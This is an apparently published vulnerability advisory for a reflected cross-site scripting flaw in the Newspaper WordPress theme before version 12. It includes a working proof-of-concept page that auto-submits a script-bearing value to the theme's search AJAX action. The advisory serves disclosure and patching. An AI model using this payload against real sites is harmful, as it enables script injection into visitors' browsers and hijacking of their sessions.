Themes Vulnerabilities

Newspaper < 12 - Reflected Cross-Site Scripting

Description

The theme does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="td_ajax_search" />
      <input type="hidden" name="td_string" value="<img src=a onerror=alert(/XSS/)>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Affects Themes

Fixed in 12

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Ramon Dunker
Submitter
Ramon Dunker
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-10-10 (about 1 years ago)
Added
2022-10-10 (about 1 years ago)
Last Updated
2022-10-10 (about 1 years ago)

Other